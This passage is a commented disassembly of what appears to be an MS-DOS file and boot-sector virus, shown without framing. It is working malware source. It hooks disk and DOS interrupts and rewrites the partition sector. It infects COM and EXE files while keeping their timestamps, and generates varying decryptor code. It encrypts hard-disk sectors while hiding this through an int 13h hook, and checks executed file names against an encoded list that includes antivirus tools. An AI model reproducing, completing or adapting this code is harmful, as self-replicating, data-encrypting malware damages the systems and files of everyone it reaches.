ds:data_11e[si],si + push es + push si + cld ; Clear direction + inc word ptr ds:data_17e[si] + mov byte ptr ds:data_16e[si],74h ; 't' + xor ax,ax ; Zero register + mov es,ax + mov ax,es:timer_low_ + mov ds:data_12e[si],ax + mov ds:data_15e[si],ax + mov ax,4B53h + int 21h ; ??INT Non-standard interrupt + int 3 ; Debug breakpoint + dec bx + inc bp + jz loc_32 ; Jump if zero + mov ah,52h + int 21h ; DOS Services ah=function 52h + ; get DOS data table ptr es:bx + ;* undocumented function + mov ax,es:[bx-2] + mov ds:data_10e[si],ax + mov byte ptr ds:data_9e[si],0 + mov ax,3501h + int 21h ; DOS Services ah=function 35h + ; get intrpt vector al in es:bx + push bx + push es + mov ax,3513h + int 21h ; DOS Services ah=function 35h + ; get intrpt vector al in es:bx + mov ds:data_7e[si],bx + mov ds:data_8e[si],es + mov ax,2501h +;* lea dx,loc_1[si] ;*Load effective addr + db 8Dh, 94h,0A5h, 02h ; Fixup - byte match + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + lea bx,cs:[0DD8h][si] ; Load effective addr + mov cx,1 + mov dx,80h + push cs + pop es + pushf ; Push flags + pop ax + or ah,1 + push ax + popf ; Pop flags + mov ax,201h + call sub_7 + pushf ; Push flags + pop ax + and ah,0FEh + push ax + popf ; Pop flags + pop ds + pop dx + pushf ; Push flags + mov ax,2501h + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + popf ; Pop flags + jc loc_36 ; Jump if carry Set + push cs + pop ds + cmp word ptr [bx+25h],0D3h + jne loc_33 ; Jump if not equal +loc_32: + jmp loc_38 +loc_33: + cmp word ptr ds:[180h][bx],72Eh + je loc_36 ; Jump if equal + mov ah,8 + mov dl,80h + call sub_7 + jc loc_36 ; Jump if carry Set + and cx,3Fh + mov byte ptr ds:[814h][si],cl + mov byte ptr ds:[89Eh][si],cl + and dh,3Fh ; '?' + mov byte ptr ds:[8A7h][si],dh + mov ax,301h + sub cl,7 + mov byte ptr ds:[819h][si],cl + mov dx,80h + call sub_7 + jc loc_36 ; Jump if carry Set + push cx + push dx + push si + xchg di,si + mov cx,4 + add bx,1EEh + +locloop_34: + mov al,[bx+4] + cmp al,1 + je loc_37 ; Jump if equal + cmp al,4 + jb loc_35 ; Jump if below + cmp al,6 + jbe loc_37 ; Jump if below or = +loc_35: + sub bx,10h + loop locloop_34 ; Loop if cx > 0 + + pop si + pop dx + pop cx +loc_36: + jmp loc_29 +loc_37: + mov cx,[bx+2] + mov dh,[bx+1] + call sub_16 + add si,7 + mov ds:data_45e[di],si + xchg si,ax + mov cx,[bx+6] + mov dh,[bx+1] + call sub_16 + mov word ptr ds:[882h][di],si + mov word ptr ds:[48Ch][di],si + add ax,si + shr ax,1 ; Shift w/zeros fill + mov word ptr ds:[15Ah][di],ax + pop si + pop dx + pop cx + mov ax,307h + xchg bx,si + inc cx + mov ds:data_44e[bx],cx + call sub_7 + jc loc_36 ; Jump if carry Set + lea si,ds:data_43e[bx] ; Load effective addr + lea di,ds:[0DD8h][bx] ; Load effective addr + push di + mov cx,29h + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + mov ax,332h + stosw ; Store ax to es:[di] + mov ax,301h + pop bx + mov cx,1 + call sub_7 + jc loc_36 ; Jump if carry Set +loc_38: + pop bx +loc_39: + push cs + pop ds + push cs + pop es + lea si,ds:data_34e[bx] ; Load effective addr +;* add bx,data_30e + db 81h,0C3h, 2Ah, 00h ; Fixup - byte match + mov cx,0Ah + +locloop_40: + mov di,[bx] + push cx + mov cx,0Ah + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + pop cx + inc bx + inc bx + loop locloop_40 ; Loop if cx > 0 + + pop es + add bx,0FFD2h + mov di,es + add di,10h + add [bx+16h],di + add [bx+0Eh],di + cmp word ptr [bx+6],0 + je loc_45 ; Jump if equal + mov ds,es:data_1e + xor si,si ; Zero register +loc_41: + inc si + cmp word ptr [si],0 + jne loc_41 ; Jump if not equal + add si,4 + xchg dx,si + mov ax,3D00h + int 21h ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + jc loc_48 ; Jump if carry Set + push cs + pop ds + mov word ptr ds:[287h][bx],ax + mov dx,[bx+18h] + mov ax,4200h + call sub_6 + push es + xchg di,ax +loc_42: + push ax + lea dx,cs:[54Dh][bx] ; Load effective addr + mov cx,[bx+6] + cmp cx,29Eh + jb loc_43 ; Jump if below + mov cx,29Eh +loc_43: + sub [bx+6],cx + push cx + shl cx,1 ; Shift w/zeros fill + shl cx,1 ; Shift w/zeros fill + mov ah,3Fh ; '?' + call sub_6 + jc loc_48 ; Jump if carry Set + pop cx + pop ax + xchg si,dx + +locloop_44: + add [si+2],ax + les di,dword ptr [si] ; Load 32 bit ptr + add es:[di],ax + add si,4 + loop locloop_44 ; Loop if cx > 0 + + cmp word ptr [bx+6],0 + ja loc_42 ; Jump if above + pop es + mov ah,3Eh ; '>' + call sub_6 +loc_45: + push es + pop ds + cmp byte ptr cs:[bx+12h],0 + jne loc_46 ; Jump if not equal + mov si,bx + mov di,data_6e + mov cx,3 + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + pop ax + jmp short loc_47 +loc_46: + pop ax + cli ; Disable interrupts + mov sp,cs:[bx+10h] + mov ss,cs:[bx+0Eh] + sti ; Enable interrupts +loc_47: + jmp dword ptr cs:[bx+14h] ;* +loc_48: + mov ah,4Ch + int 21h ; DOS Services ah=function 4Ch + ; terminate with al=return code + +;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß + +sub_9: + mov word ptr cs:[5A8h],si + push ax + push bx + push cx + push dx + mov cx,1624h + mov bx,2B28h + mov dx,15Ah + mov ax,4E35h + xchg si,ax + xchg dx,ax + test ax,ax + jz loc_49 ; Jump if zero + mul bx ; dx:ax = reg * ax +loc_49: + jcxz loc_50 ; Jump if cx=0 + xchg cx,ax + mul si ; dx:ax = reg * ax + add ax,cx +loc_50: + xchg si,ax + mul bx ; dx:ax = reg * ax + add dx,si + inc ax + adc dx,0 + mov word ptr cs:[56Ah],ax + mov word ptr cs:[567h],dx + mov ax,dx + pop cx + xor dx,dx ; Zero register + jcxz loc_51 ; Jump if cx=0 + div cx ; ax,dx rem=dx:ax/reg +loc_51: + pop cx + pop bx + pop ax + pop si + push si + cmp byte ptr cs:[si],0CCh +loc_52: + je loc_52 ; Jump if equal + mov si,5CBh + retn +sub_8 endp + + ;* No entry point to code + add [bx+si+1],dx + push ss + add [bx],bx + add di,word ptr ds:[469h][bx] + add di,ds:data_120e[bx+si] + add dh,[bx+di] + add ax,8104h + db 0C0h +data_76 dw 0CAABh + db 01h, 47h, 04h, 81h,0FFh, 41h + db 12h, 02h, 75h,0EFh, 90h,0F9h + db 0F8h,0FBh, 2Eh, 36h, 3Eh,0FCh + db 0FDh,0F5h + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_10 proc near + or dx,dx ; Zero ? + jz loc_ret_54 ; Jump if zero + push si + push cx + push dx + mov cx,dx + +locloop_53: + mov si,5CBh + mov dx,0Ah + call sub_9 + add si,dx + movsb ; Mov [si] to es:[di] + loop locloop_53 ; Loop if cx > 0 + + pop dx + pop cx + pop si + +loc_ret_54: + retn +sub_10 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_11 proc near + mov ax,dx + inc dx + call sub_9 + sub ax,dx + call sub_10 + xchg dx,ax + rep movsb ; Rep when cx >0 Mov [si] to es:[di] +;* cmp bx,data_32e + db 81h,0FBh, 3Ch, 00h ; Fixup - byte match + jnz loc_55 ; Jump if not zero + mov ax,ds:data_31e + sub ax,di + add ax,0F3Bh + sub ax,[bx] + dec di + stosb ; Store al to es:[di] +loc_55: + call sub_10 + retn +sub_11 endp + + ;* No entry point to code + mov dh,5 + mov bx,0BE05h + add ax,5B2h + mov bx,0C205h + add ax,5C5h + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_12 proc near +loc_56: + lodsw ; String [si] to ax + xchg di,ax + mov al,dl + cmp si,61Eh + jne loc_57 ; Jump if not equal + and al,5 + cmp al,1 + jne loc_58 ; Jump if not equal + mov al,7 +loc_57: + cmp si,618h + jne loc_58 ; Jump if not equal + mov cl,3 + shl al,cl ; Shift w/zeros fill + or [di],al + or al,0C7h + jmp short loc_59 +loc_58: + or [di],al + or al,0F8h +loc_59: + and [di],al + cmp si,61Ah + je loc_ret_60 ; Jump if equal + cmp si,622h + je loc_ret_60 ; Jump if equal + jmp short loc_56 + +loc_ret_60: + retn +sub_12 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_13 proc near + mov dx,2 + call sub_9 + mov byte ptr ds:[5AEh],0Eh + or dx,dx ; Zero ? + jz loc_61 ; Jump if zero + mov byte ptr ds:[5AEh],16h +loc_61: + mov si,614h +loc_62: + mov dx,8 + call sub_9 + cmp dl,4 + je loc_62 ; Jump if equal + mov bl,dl + call sub_12 + mov si,61Ah +loc_63: + mov dx,3 + call sub_9 + add dl,6 + cmp dl,8 + jne loc_64 ; Jump if not equal + mov dl,3 +loc_64: + cmp dl,bl + je loc_63 ; Jump if equal + call sub_12 + xor cx,cx ; Zero register + mov di,2Ah +loc_65: + cmp cx,9 + jne loc_67 ; Jump if not equal +loc_66: + mov dx,0C8h + call sub_9 + sub dx,64h + add dx,ds:data_31e + cmp dx,0 + jl loc_66 ; Jump if < + cmp dx,data_76 + jge loc_66 ; Jump if > or = + jmp short loc_68 +loc_67: + mov dx,45Ah + call sub_9 +loc_68: + jcxz loc_71 ; Jump if cx=0 + mov si,data_30e + push cx + +locloop_69: + lodsw ; String [si] to ax + sub ax,dx + cmp ax,0Ah + jge loc_70 ; Jump if > or = + cmp ax,0FFF6h + jle loc_70 ; Jump if < or = + pop cx + jmp short loc_65 +loc_70: + loop locloop_69 ; Loop if cx > 0 + + pop cx +loc_71: + xchg dx,ax + stosw ; Store ax to es:[di] + inc cx + cmp cx,0Ah + jb loc_65 ; Jump if below + mov bx,data_30e + mov si,5ABh +loc_72: + mov di,0F3Bh + lodsb ; String [si] to al + mov cl,al + mov dx,8 + sub dx,cx + mov ax,[bx+2] + sub ax,[bx] + cmp ax,0Ah + jne loc_73 ; Jump if not equal + inc dx + inc dx + call sub_11 + inc bx + inc bx + jmp short loc_75 +loc_73: + call sub_9 + call sub_11 + mov dx,di + sub dx,0F38h + add dx,[bx] + mov al,0E9h + stosb ; Store al to es:[di] + inc bx + inc bx + mov ax,[bx] + sub ax,dx + cmp ax,7Eh + jg loc_74 ; Jump if > + cmp ax,0FF7Fh + jl loc_74 ; Jump if < + inc ax + mov byte ptr [di-1],0EBh + stosb ; Store al to es:[di] + jmp short loc_75 +loc_74: + stosw ; Store ax to es:[di] +loc_75: + push bx + push cx + mov cx,0 + mov dx,1E26h + add dx,[bx-2] + adc cx,0 + push cx + push dx + call sub_21 + mov cx,0Ah + mov dx,0A4h + add word ptr ds:[74Ah],cx + call sub_19 + pop dx + pop cx + jc loc_76 ; Jump if carry Set + call sub_21 + xchg cx,di + mov dx,0F3Bh + sub cx,dx +;* call sub_18 ;* + db 0E8h, 6Bh, 01h ; Fixup - byte match +loc_76: + pop cx + pop bx + jc loc_ret_77 ; Jump if carry Set +;* cmp bx,3Eh + db 81h,0FBh, 3Eh, 00h ; Fixup - byte match + jnc loc_ret_77 ; Jump if carry=0 + jmp loc_72 + +loc_ret_77: + retn +sub_13 endp + + ;* No entry point to code + mov cx,0DD8h + xor dx,dx ; Zero register + call sub_14 + mov ah,40h ; '@' + mov bx,ds:data_107e + pushf ; Push flags + call far ptr $-881h + jc loc_78 ; Jump if carry Set + cmp ax,cx +loc_78: + pushf ; Push flags + call sub_14 + popf ; Pop flags + retn + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_14 proc near + push cx + mov si,dx + mov ax,0 + mov cx,0DD8h + +locloop_79: + xor [si],ax + add ax,0 + inc si + loop locloop_79 ; Loop if cx > 0 + + pop cx + retn +sub_14 endp + + db 0B0h, 03h,0CFh + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_15 proc near + pushf ; Push flags + call dword ptr cs:data_105e + retn +sub_15 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_16 proc near + push cx + push dx + shr cl,1 ; Shift w/zeros fill + shr cl,1 ; Shift w/zeros fill + and dh,0C0h + or dh,cl + mov cl,4 + shr dh,cl ; Shift w/zeros fill + mov dl,ch + xchg si,dx + pop dx + pop cx + retn +sub_16 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_17 proc near + push ax + push bx + push cx + mov al,0 + mov bx,data_20e +loc_80: + mov cx,100h + +locloop_81: + xor word ptr es:[bx],2B28h + inc bx + inc bx + loop locloop_81 ; Loop if cx > 0 + + dec al + jnz loc_80 ; Jump if not zero + pop cx + pop bx + pop ax + retn +sub_17 endp + + ;* No entry point to code + cmp ah,2 + je loc_82 ; Jump if equal + cmp ah,3 + je loc_82 ; Jump if equal + jmp loc_97 +loc_82: + cmp dx,80h + jne loc_91 ; Jump if not equal + test cx,0FFC0h + jnz loc_91 ; Jump if not zero + push bx + push dx + push si + push di + push cx + push cx + mov si,ax + and si,0FFh + mov di,si + mov al,1 + push ax + jz loc_86 ; Jump if zero + jcxz loc_90 ; Jump if cx=0 + cmp cl,1 + je loc_88 ; Jump if equal +loc_83: + cmp cl,11h + ja loc_90 ; Jump if above + cmp cl,0Ah + jb loc_89 ; Jump if below + cmp ah,3 + je loc_90 ; Jump if equal + push bx + mov cx,200h + +locloop_84: + mov byte ptr es:[bx],0 + inc bx + loop locloop_84 ; Loop if cx > 0 + + pop bx +loc_85: + add bx,200h + pop ax + pop cx + inc cx + push cx + push ax + dec si + jnz loc_83 ; Jump if not zero +loc_86: + clc ; Clear carry flag +loc_87: + pop ax + pushf ; Push flags + xchg di,ax + sub ax,si + popf ; Pop flags + mov ah,ch + pop cx + pop cx + pop di + pop si + pop dx + pop bx + retf 2 ; Return far +loc_88: + mov cl,byte ptr cs:[0E7Fh] +loc_89: + call sub_15 + mov ch,ah + jc loc_87 ; Jump if carry Set + jmp short loc_85 +loc_90: + stc ; Set carry flag + mov ch,0BBh + jmp short loc_87 +loc_91: + cmp dl,80h + jne loc_97 ; Jump if not equal + push ax + push cx + push dx + push si + push ds + push cs + pop ds + mov byte ptr ds:[0E2Dh],0 + mov word ptr ds:[0E2Fh],bx + call sub_16 + and cl,3Fh ; '?' + and dh,3Fh ; '?' +loc_92: + or al,al ; Zero ? + jz loc_95 ; Jump if zero + cmp si,332h + jae loc_95 ; Jump if above or = + cmp si,1234h + jb loc_93 ; Jump if below + inc byte ptr ds:[0E2Dh] + jmp short loc_94 +loc_93: + add word ptr ds:[0E2Fh],200h +loc_94: + dec al + inc cl + cmp cl,11h + jbe loc_92 ; Jump if below or = + mov cl,1 + inc dh + cmp dh,5 + jbe loc_92 ; Jump if below or = + xor dh,dh ; Zero register + inc si + jmp short loc_92 +loc_95: + cmp byte ptr ds:[0E2Dh],0 + pop ds + pop si + pop dx + pop cx + pop ax + jz loc_97 ; Jump if zero + cmp ah,2 + je loc_96 ; Jump if equal + call sub_17 +loc_96: + call sub_15 + pushf ; Push flags + call sub_17 + popf ; Pop flags + retf 2 ; Return far +loc_97: +;* jmp far ptr loc_3 ;* + db 0EAh + dw 40B4h, 2EBh ; Fixup - byte match + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_19 proc near + mov ah,3Fh ; '?' + call sub_24 + jc loc_ret_98 ; Jump if carry Set + cmp ax,cx + +loc_ret_98: + retn +sub_19 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_20 proc near + xor cx,cx ; Zero register + mov dx,cx + +;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß + +sub_21: + mov ax,4200h + jmp short loc_99 + +;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß + +sub_22: + xor cx,cx ; Zero register + mov dx,cx + +;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß + +sub_23: + mov ax,4202h + +;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß + +sub_24: +loc_99: + mov bx,cs:data_107e + +;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß + +sub_25: + pushf ; Push flags + cli ; Disable interrupts + call dword ptr cs:[0DE8h] + retn +sub_20 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_26 proc near + mov bp,sp + mov ax,5700h + call sub_24 + mov bx,data_111e + mov [bx],cx + mov [bx+2],dx + call sub_31 + jc loc_102 ; Jump if carry Set + mov dx,1Eh + call sub_9 + or dx,dx ; Zero ? + jz loc_100 ; Jump if zero + mov [bx],ax +loc_100: + mov word ptr ds:[74Ah],40h + mov dx,0FFFFh + push dx + call sub_9 + mov word ptr ds:[5B7h],dx + mov word ptr ds:[0DFAh],dx + pop dx + call sub_9 + mov word ptr ds:[5BFh],dx + mov word ptr ds:[0E02h],dx + call sub_20 + mov cx,1Ah + mov dx,0F45h + push dx + call sub_19 + jc loc_104 ; Jump if carry Set + xchg si,dx + mov di,data_23e + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + call sub_22 + mov si,ax + mov di,dx + pop bx + cmp word ptr [bx],4D5Ah + je loc_101 ; Jump if equal + cmp word ptr [bx],5A4Dh + je loc_101 ; Jump if equal + mov byte ptr ds:data_27e,0 + cmp ax,0EFA6h + cmc ; Complement carry + jc loc_104 ; Jump if carry Set + mov ax,3 + cwd ; Word to double word + push bx + jmp short loc_103 +loc_101: + mov byte ptr ds:data_27e,1 + mov ax,[bx+4] + mul word ptr ds:data_42e ; ax = data * ax + sub ax,si + sbb dx,di +loc_102: + jc loc_104 ; Jump if carry Set + mov ax,[bx+8] + mul word ptr ds:data_40e ; ax = data * ax + push bx + push ax + push dx +loc_103: + sub si,ax + sbb di,dx + or di,di ; Zero ? + jnz loc_105 ; Jump if not zero + mov dx,si + sub dx,3E8h +loc_104: + jc loc_110 ; Jump if carry Set + cmp dx,7D0h + jbe loc_106 ; Jump if below or = +loc_105: + mov dx,7D0h +loc_106: + call sub_9 + add dx,3E8h + mov word ptr ds:[5B3h],dx + add dx,1058h + cmp byte ptr ds:data_27e,0 + je loc_107 ; Jump if equal + mov ds:data_108e,dx +loc_107: + add dx,0FD80h + mov word ptr ds:[5C6h],dx + add dx,0F577h + mov ds:data_33e,dx + add dx,0FCA8h + mov data_76,dx + add dx,8 + not dx + mov cx,0FFFFh + call sub_23 + mov word ptr ds:[736h],dx + mov word ptr ds:[739h],ax + cmp byte ptr ds:data_27e,0 + jne loc_108 ; Jump if not equal + xchg dx,ax + add dx,100h + jmp short loc_109 +loc_108: + pop di + pop si + sub ax,si + sbb dx,di + div word ptr ds:data_40e ; ax,dxrem=dx:ax/data +loc_109: + add word ptr ds:[5B3h],dx + add word ptr ds:[5C6h],dx + push ax + push dx + call sub_13 +loc_110: + jc loc_115 ; Jump if carry Set + pop dx + pop ax + mov cx,0Ah + mov si,data_30e + +locloop_111: + add [si],dx + inc si + inc si + loop locloop_111 ; Loop if cx > 0 + + pop bx + cmp byte ptr ds:data_27e,0 + jne loc_112 ; Jump if not equal + mov byte ptr [bx],0E9h + mov ax,ds:data_30e + sub ax,103h + mov [bx+1],ax + mov word ptr ds:data_25e,0 + mov word ptr ds:data_29e,0FFF0h + mov word ptr ds:data_28e,100h + jmp short loc_114 +loc_112: + mov [bx+16h],ax + mov [bx+0Eh],ax + mov ax,ds:data_30e + mov [bx+14h],ax + add [bx+10h],dx + mov word ptr [bx+6],0 + mov ax,28h + cmp [bx+0Ah],ax + jae loc_113 ; Jump if above or = + mov [bx+0Ah],ax +loc_113: + cmp [bx+0Ch],ax + jae loc_114 ; Jump if above or = + mov [bx+0Ch],ax +loc_114: + push bx + call sub_22 + call sub_34 +loc_115: + jc loc_117 ; Jump if carry Set + call sub_22 + div word ptr ds:data_42e ; ax,dxrem=dx:ax/data + inc ax + pop bx + cmp byte ptr ds:data_27e,0 + je loc_116 ; Jump if equal + mov [bx+4],ax + mov [bx+2],dx +loc_116: + push bx + call sub_20 + mov cx,1Ah + pop dx +;* call sub_18 ;* + db 0E8h, 30h,0FEh ; Fixup - byte match + jc loc_117 ; Jump if carry Set + mov ax,5701h + mov cx,ds:data_111e + mov dx,ds:data_112e + call sub_24 +loc_117: + mov sp,bp + retn +sub_26 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_27 proc near + push dx + push ds + push cs + pop ds + mov ax,3524h + call sub_25 + mov word ptr ds:data_109e+2,es + mov ds:data_109e,bx + mov ax,2524h + mov dx,0E09h + call sub_25 + pop ds + pop dx + retn +sub_27 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_28 proc near + mov ax,2524h + lds dx,dword ptr cs:data_109e ; Load 32 bit ptr + call sub_25 + retn +sub_28 endp + + ;* No entry point to code + add al,2Eh ; '.' + inc bx + dec di + dec bp + add al,2Eh ; '.' + inc bp + pop ax + inc bp + add al,53h ; 'S' + inc bx + inc cx + dec si + add ax,4C43h + inc bp + inc cx + dec si + or [bp+49h],al + dec si + inc sp + push si + dec cx + push dx + push bp + add ax,5547h + inc cx + push dx + inc sp + add cx,[bp+4Fh] + inc sp + add ax,5356h + inc cx + inc si + inc bp + add al,4Dh ; 'M' + push bx + inc cx + push si + push es + inc bx + dec ax + dec bx + inc sp + push bx + dec bx + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_29 proc near + push dx + push bx + push cx + push si + push di + push ds + push es + push ax + mov si,dx + mov di,data_114e + push cs + pop es + lea bx,[di-1] ; Load effective addr + mov cx,4Bh + +locloop_118: + lodsb ; String [si] to al + cmp al,61h ; 'a' + jb loc_119 ; Jump if below + cmp al,7Ah ; 'z' + ja loc_119 ; Jump if above + sub al,20h ; ' ' +loc_119: + push ax + push si +loc_120: + cmp al,20h ; ' ' + jne loc_121 ; Jump if not equal + lodsb ; String [si] to al + or al,al ; Zero ? + jnz loc_120 ; Jump if not zero + pop si + pop si + jmp short loc_123 +loc_121: + pop si + pop ax + cmp al,5Ch ; '\' + je loc_122 ; Jump if equal + cmp al,2Fh ; '/' + je loc_122 ; Jump if equal + cmp al,3Ah ; ':' + jne loc_123 ; Jump if not equal +loc_122: + mov bx,di +loc_123: + stosb ; Store al to es:[di] + or al,al ; Zero ? + jz loc_124 ; Jump if zero + loop locloop_118 ; Loop if cx > 0 + +loc_124: + mov si,0ADCh + sub di,5 + push cs + pop ds + call sub_30 + jz loc_125 ; Jump if zero + call sub_30 + jnz loc_129 ; Jump if not zero +loc_125: + pop ax + push ax + xchg di,bx + inc di + cmp ax,4B00h + jne loc_126 ; Jump if not equal + mov si,0B0Fh + call sub_30 + jnz loc_126 ; Jump if not zero + mov byte ptr ds:[0C6Ah],2Dh ; '-' +loc_126: + mov cx,7 + mov si,0AE6h + +locloop_127: + push cx + call sub_30 + pop cx + jz loc_129 ; Jump if zero + loop locloop_127 ; Loop if cx > 0 + + mov si,data_114e + xor bl,bl ; Zero register + lodsw ; String [si] to ax + cmp ah,3Ah ; ':' + jne loc_128 ; Jump if not equal + sub al,40h ; '@' + mov bl,al +loc_128: + mov ax,4408h + call sub_25 + or ax,ax ; Zero ? + jz loc_131 ; Jump if zero + mov ax,4409h + call sub_25 + jc loc_129 ; Jump if carry Set + test dh,10h + jnz loc_131 ; Jump if not zero +loc_129: + stc ; Set carry flag +loc_130: + pop ax + pop es + pop ds + pop di + pop si + pop cx + pop bx + pop dx + retn +loc_131: + clc ; Clear carry flag + jmp short loc_130 +sub_29 endp + + 